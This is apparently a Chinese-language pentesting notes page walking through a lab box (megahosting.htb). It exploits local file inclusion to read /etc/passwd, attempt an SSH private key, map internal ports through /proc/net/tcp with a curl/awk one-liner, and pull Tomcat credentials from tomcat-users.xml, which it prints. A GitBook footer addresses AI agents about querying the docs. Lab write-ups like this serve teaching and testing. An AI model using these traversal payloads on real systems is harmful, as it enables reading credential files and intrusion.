> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# LFI Tomcat 凭据

## LFI：

访问易受攻击的文件 `new.php` 通过一个变量 `?file` 在文件夹中 `语句`.

<figure><img src="/files/a0bfee818af843d408ff0ecd974379e451e82be4" alt=""><figcaption></figcaption></figure>

**本地文件包含测试（LFI）**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/0603498706fe96f65d9f971b8031799562f2a268" alt=""><figcaption></figcaption></figure>

* **结果：** 访问该文件 `/etc/passwd`，显示出两个用户： `ash` 和 `root`. **尝试访问 Ash 的私有 SSH 密钥**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **结果：** 访问被拒绝。

<figure><img src="/files/6193f25b4851188fcf922fef2ea4eded0b9df30e" alt=""><figcaption></figcaption></figure>

**搜索内部端口** 通过 `/proc/net/tcp` 以识别隐藏服务：

<figure><img src="/files/3b46cfaa3db68fae007cfb9992f8171ef80f8535" alt=""><figcaption></figcaption></figure>

**搜索内部端口** 通过 `/proc/net/tcp` 以识别隐藏服务：

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # 获取 local_address 字段
    split($2, addr_port, ":");
    # 将地址转换为 IP 格式
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # 将端口转换为十进制
    port = strtonum("0x" addr_port[2]);
    # 以 IP:端口 格式打印结果
    printf "%s:%d/n", ip, port;
}'

```

**结果：** 内部端口的发现 `34650`

<figure><img src="/files/6f599e6d79ac8ea09f0500aeddd8e5c59803e319" alt="" width="563"><figcaption></figcaption></figure>

### **Tomcat 的虚拟主机管理器（端口 8080）的利用**

**访问 Tomcat** 通过 8080 端口并搜索认证信息。默认情况下，它们存储在 `/etc/tomcat9/tomcat-users.xml` 或 `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/8bc618c788bbe6b25da387010ada6eeebc9b88e6" alt=""><figcaption></figcaption></figure>

**凭据** 找到： `用户名 = tomcat` `密码 = $3cureP4s5w0rd123!`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.